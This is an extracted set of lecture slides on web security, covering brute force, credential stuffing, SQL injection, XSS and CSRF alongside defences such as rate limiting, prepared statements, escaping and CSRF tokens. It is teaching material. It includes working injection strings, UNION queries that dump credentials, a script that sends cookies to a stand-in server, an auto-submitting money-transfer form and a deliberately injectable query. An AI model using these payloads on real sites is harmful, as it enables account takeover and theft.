web security - github pages...username password user pass admin admin brandon wu cat meow nthu uhtn...

141
eb Security Software Studio yslin@DataLAB 1

Upload: others

Post on 09-Mar-2021

28 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Web SecuritySoftware Studio

yslin@DataLAB

1

Page 2: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Common Security Risks

• Brute-Force Attacks

• SQL Injections

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

2

Page 3: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Common Security Risks

• Brute-Force Attacks

• SQL Injections

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

3

Page 4: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Username:

Password:

4

Page 5: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password:

5

Page 6: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00000

6

Page 7: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00000Close

Wrong Password

7

Page 8: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00001

8

Page 9: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00000Close

Wrong Password

9

Page 10: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00002

10

Page 11: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00000Close

Wrong Password

11

Page 12: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

12

Page 13: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 04876

13

Page 14: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 04876Close

Access Granted

14

Page 15: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 04876Close

Access Granted

Usually hackers do this using scripts

14

Page 16: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

How to Defense ?

15

Page 17: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

How to Defense ?Limit how many times a user can try to login in a given time

window.

Rate Limiter - A Node.js library

15

Page 18: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00002

16

Page 19: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00000Close

Please Try It 5 minutes Later

17

Page 20: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

adminUsername:

Password: 00000Close

Please Try It 5 minutes Later

17

Page 21: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

But May Not Work To Credential Stuffing

18

Page 22: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

But May Not Work To Credential Stuffing

18

Page 23: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Username Password

user pass

admin admin

brandon wu

cat meow

nthu uhtn

aaa bbb

abcde 12345

A list of known username-password pairs obtained from another service.

19

Page 24: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Username Password

user pass

admin admin

brandon wu

cat meow

nthu uhtn

aaa bbb

abcde 12345

A list of known username-password pairs obtained from another service.

cat

Username:

Password: meow

19

Page 25: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Here is the list of prevention strategies

20

Page 26: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Here is the list of prevention strategies

The most common strategy is CAPTCHA

20

Page 27: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Common Security Risks

• Brute-Force Attacks

• SQL Injections

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

21

Page 28: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Username:

Password:

22

Page 29: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

functionget(username,password){constsql=`SELECT*FROMusersWHEREusername='${username}'ANDpassword='${password}'`;returndb.any(sql);}

23

Page 30: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

catUsername:

Password: meow

SELECT*FROMusersWHEREusername='cat'ANDpassword='meow'

24

Page 31: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

catUsername:

Password: meow

SELECT*FROMusersWHEREusername='cat'ANDpassword='meow'

username password namecat meow A Cat

24

Page 32: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

SQL InjectionsUsers Do What You Do Not Expect

25

Page 33: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

catUsername:

Password: 1' OR '1' = '1

SELECT*FROMusersWHEREusername='cat'ANDpassword='1'OR'1'='1'

26

Page 34: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

catUsername:

Password: 1' OR '1' = '1

SELECT*FROMusersWHEREusername='cat'ANDpassword='1'OR'1'='1'

username password name

admin AAAAAAAA Adminstrator

cat meow A Cat

dog bow A Dog

bird chou A Bird

26

Page 35: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

If your server will return the results directly…

(e.g. message boards)

27

Page 36: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://mywebsite.com/posts?id=1

28

SELECTtitle,messageFROMpostsWHEREid=1

Page 37: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

id title message

1 HL3 When can I see Half-Life 3 coming out ?

http://mywebsite.com/posts?id=1

28

SELECTtitle,messageFROMpostsWHEREid=1

Page 38: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

A Powerful Keyword

UNION

29

Page 39: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

UNIONSELECTtitle,messageFROMposts SELECTusername,passwordFROMusers

title message

Knock Knock knock

username passwordadmin AAAAAAAA

cat meow

30

Page 40: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

UNIONSELECTtitle,messageFROMposts SELECTusername,passwordFROMusers

title message

Knock Knock knock

username passwordadmin AAAAAAAA

cat meow

SELECTtitle,messageFROMpostsUNIONSELECTusername,passwordFROMusers

30

Page 41: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

UNIONSELECTtitle,messageFROMposts SELECTusername,passwordFROMusers

title message

Knock Knock knock

username passwordadmin AAAAAAAA

cat meow

SELECTtitle,messageFROMpostsUNIONSELECTusername,passwordFROMusers

title messageKnock Knock knockadmin AAAAAAAA

cat meow30

Page 42: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://mywebsite.com/posts?id=-1 UNION SELECT username, password FROM users

31

SELECTtitle,messageFROMpostsWHEREid=-1UNIONSELECTusername,passwordFROMusers

Page 43: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://mywebsite.com/posts?id=-1 UNION SELECT username, password FROM users

31

SELECTtitle,messageFROMpostsWHEREid=-1UNIONSELECTusername,passwordFROMusers

title message

admin AAAAAAAA

cat meow

dog bow

bird chou

Page 44: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Wait !!!!How Did The Hacker Know

What Tables I Have ?

32

Page 45: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://mywebsite.com/posts?id=-1 UNION SELECT table_name, column_name FROM

information_schema.columns WHERE table_schema = 'public';

33

Page 46: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

SELECTtitle,messageFROMpostsWHEREid=-1UNIONSELECTtable_name,column_nameFROMinformation_schema.columnsWHEREtable_schema='public';

34

Page 47: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

SELECTtitle,messageFROMpostsWHEREid=-1UNIONSELECTtable_name,column_nameFROMinformation_schema.columnsWHEREtable_schema='public';

title messageusers idusers usernameusers bowusers nameposts idposts titleposts message

34

Page 48: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

What If There Are Something Behind The Id In The Query ?

SELECTtitle,messageFROMpostsWHEREid=...ANDmsg_type='public'

35

Page 49: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

--(comment mark)

36

Page 50: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

--(comment mark)

p.s. the mark may be different in different database systems

36

Page 51: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://mywebsite.com/posts?id=-1 UNION SELECT username, password FROM users --

37

SELECTtitle,messageFROMpostsWHEREid=-1UNIONSELECTusername,passwordFROMusers--ANDmsg_type='public'

Page 52: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://mywebsite.com/posts?id=-1 UNION SELECT username, password FROM users --

37

SELECTtitle,messageFROMpostsWHEREid=-1UNIONSELECTusername,passwordFROMusers--ANDmsg_type='public'

Becomes a comment

Page 53: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

WTF38

Page 54: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

The core of this problem is:The clients’ inputs may be treated as SQL keywords

39

Page 55: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

The core of this problem is:The clients’ inputs may be treated as SQL keywords

Prepare Statements !!

39

Page 56: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

functionget(username,password){constsql=`SELECT*FROMusersWHEREusername='$<username>'ANDpassword='$<password>'`;returndb.any(sql,{username,password});}

40

Page 57: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

functionget(username,password){constsql=`SELECT*FROMusersWHEREusername='$<username>'ANDpassword='$<password>'`;returndb.any(sql,{username,password});}

Your data go here

40

Page 58: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

More Information

• What you just saw is a kind of syntax provided by pg-promise

• You can learn more information about prepared statements on their documents:

• https://github.com/vitaly-t/pg-promise/wiki/Learn-by-Example#prepared-statements

41

Page 59: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Common Security Risks

• Brute-Force Attacks

• SQL Injections

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

42

Page 60: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Scenario 1

43

Page 61: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

User: SLMTSteam winter sale starts !!

User: MIT Bro

Please type in your message here…

44

My wallet is ready !!

Page 62: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

<script>alert(“meow”);</script>

45

User: SLMTSteam winter sale starts !!

User: MIT BroMy wallet is ready !!

Page 63: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

<script>alert(“meow”);</script>

46

User: SLMTSteam winter sale starts !!

User: MIT BroMy wallet is ready !!

User: SLMT

Page 64: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

User: SLMTSteam winter sale starts !!

User: MIT BroMy wallet is ready !!

User: SLMTClose

meow

47

Page 65: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

48

Page 66: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

But it is just a prank

49

Page 67: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

But it is just a prankHow can a bad guy use it ?

49

Page 68: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

50

Page 69: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Yummy !

50

Page 70: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Yummy !

Cookies are stored in client-sides. They usually have some sensitive data.

50

Page 71: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Yummy !

Cookies are stored in client-sides. They usually have some sensitive data.

E.g. A session key for a server to identify a user

50

Page 72: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

A cookie can be retrieved using javascript

51

Page 73: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

A cookie can be retrieved using javascript

Try to open a console of a browser, and type in document.cookie

51

Page 74: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

<script>location.href=("http://myserver.com/somepage?cookie=" + document.cookie);</script>

52

User: SLMTSteam winter sale starts !!

User: MIT BroMy wallet is ready !!

Page 75: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://myserver.com/somepage?cookie=

53

Page 76: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://myserver.com/somepage?cookie=

53

Page 77: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://myserver.com/somepage?cookie=

53

Page 78: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Lots of websites having message boards had such vulnerabilities before.

54

Page 79: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Lots of websites having message boards had such vulnerabilities before.

So, other websites without such functions are safe ?

54

Page 80: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Lots of websites having message boards had such vulnerabilities before.

So, other websites without such functions are safe ?

Not exactly54

Page 81: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Scenario 2

55

Page 82: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://somewebsite.com/showimage?id=1

You are watching an image with id = 1

56

Page 83: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://somewebsite.com/showimage?id=a

57

You are watching an image with id = a

Page 84: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://somewebsite.com/showimage?id=<script>al…

58

You are watching an image with id =

Page 85: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

http://somewebsite.com/showimage?id=<script>al…

確定

meow

58

You are watching an image with id =

Page 86: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Hi~

Hello~

A cute cat !! http://goo.gl/abcdef

59

Page 87: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Hi~

Hello~

A cute cat !! http://goo.gl/abcdef

http://somewebsite.com/showimage?id=<script>location.href=(“http://myserver.com/somepage?cookie=" + document.cookie);</script>

59

Page 88: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

WTF x 260

Page 89: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Cross-Site Scripting

61

Page 90: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Cross-Site Scripting

Cross site to retrieve sensitive data

61

Page 91: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Cross-Site Scripting

Cross site to retrieve sensitive data

Using scripts to attack

61

Page 92: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

How To Defense ?

62

Page 93: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

1. Filtering

63

Page 94: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Lots of filtering methods

1. Filtering

63

Page 95: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Lots of filtering methodsBut, there are also lots of ways to bypass

1. Filtering

63

Page 96: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Filtering Method 1

Removing all <script> words

64

Page 97: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Filtering Method 1

Removing all <script> words

But using <SCRIPT> will be safe.

64

Page 98: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Filtering Method 2

Replace all script

65

Page 99: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Filtering Method 2

Replace all script

But, <scscriptript> becomes <script>

65

Page 100: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Learning Filtering Methods

• Some practice websites

• alert(1) to win

• If you cannot see the page, try to replace ‘https’ with ‘http’

• prompt(1) to win

66

Page 101: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

2. Escaping

67

Page 102: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

<script>alert("meow");</script>

68

Page 103: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

<script>alert("meow");</script>

&lt;script&gt;alert(&quot;meow&quot;);&lt;/script&gt;

68

Page 104: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

<script>alert("meow");</script>

&lt;script&gt;alert(&quot;meow&quot;);&lt;/script&gt;

Lots of Framework have provide such built-in functions

68

Page 105: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

3. Browser-support Headers

69

Page 106: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Headers• X-XSS-Protection: 1

• Works in Chrome, IE (>= 8.0), Edge, Safari, Opera

• The browsers will detect possible XSS attacks for you.

• Set-Cookie: HttpOnly

• Disallow the scripts to retrieve

• can only be retrieved by HTTP requests

• More here

70

Page 107: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

However, according to a research of a famous security company…

71

Page 108: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

However, according to a research of a famous security company…

71

Only 20% of websites in Taiwan using those headers.

Page 109: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

However, according to a research of a famous security company…

71

Only 20% of websites in Taiwan using those headers.

Only 7.8% of websites using more than two such headers.

Page 110: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Some XSS Practices

• XSS Challenges

• XSS Game (Recommend to open using Chrome)

72

Page 111: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Common Security Risks

• Brute-Force Attacks

• SQL Injections

• Cross-Site Scripting (XSS)

• Cross-Site Request Forgery (CSRF)

73

Page 112: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://www.bank.com

Hi Mr. Rich,Your Balance: $1,000,000

74

Page 113: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://www.bank.com

Hi Mr. Rich,Your Balance: 1,000,000 $

https://www.lottery.com

Click to win an iPhone!

75

Page 114: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://www.bank.com

Hi Mr. Rich,Your Balance: 1,000,000 $

https://www.lottery.com

Click to win an iPhone!

76

Page 115: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://www.bank.com

Hi Mr. Rich,Your Balance: $87

77

Page 116: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

https://www.bank.com

Hi Mr. Rich,Your Balance: $87

78

Page 117: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

What Happened?

79

Page 118: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

The bank may provide an API for transferring money

https://www.bank.com/transfer?to_account={name}&amount={amount}

80

Page 119: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

The hacker then put the following form on the web page

<formmethod="GET"action="https://www.bank.com/transfer"><inputtype="hidden"name="to_account"value="hacker"/><inputtype="hidden"name="amount"value="1000000"/><inputtype="submit"value="ClicktowinaniPhone!"/></form>

81

https://www.bank.com/transfer?to_account=hacker&amount=1000000

Page 120: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Wait… but the bank website needs my cookie to grant access, right?

82

Page 121: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

That’s true. However, the browser will provide the cookie

since you are sending requests to the bank’s website.

<formmethod="GET"action="https://www.bank.com/transfer"><inputtype="hidden"name="to_account"value="hacker"/><inputtype="hidden"name="amount"value="1000000"/><inputtype="submit"value="ClicktowinaniPhone!"/></form>

83

Page 122: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Cross-Site Request Forgery

84

Page 123: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Cross-Site Request Forgery

Cross site to retrieve/executesensitive data/action

84

Page 124: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Cross-Site Request Forgery

Cross site to retrieve/executesensitive data/action

by forgingunintentional requests

84

Page 125: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Even worse, the hacker can do this:

<iframestyle="display:none"name="csrf-frame"></iframe><formmethod='GET'action='https://www.bank.com/transfer'target="csrf-frame"id="csrf-form"><inputtype="hidden"name="to_account"value="hacker"/><inputtype="hidden"name="amount"value="1000000"/><inputtype='submit'value='submit'></form><script>document.getElementById("csrf-form").submit()</script>

You don’t even need to click it!

85

Page 126: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

WTF x 386

Page 127: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

How To Defense ?

87

Page 128: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

Method 1: CSRF Tokens

88

Page 129: Web Security - GitHub Pages...Username Password user pass admin admin brandon wu cat meow nthu uhtn aaa bbb abcde 12345 A list of known username-password pairs obtained from another

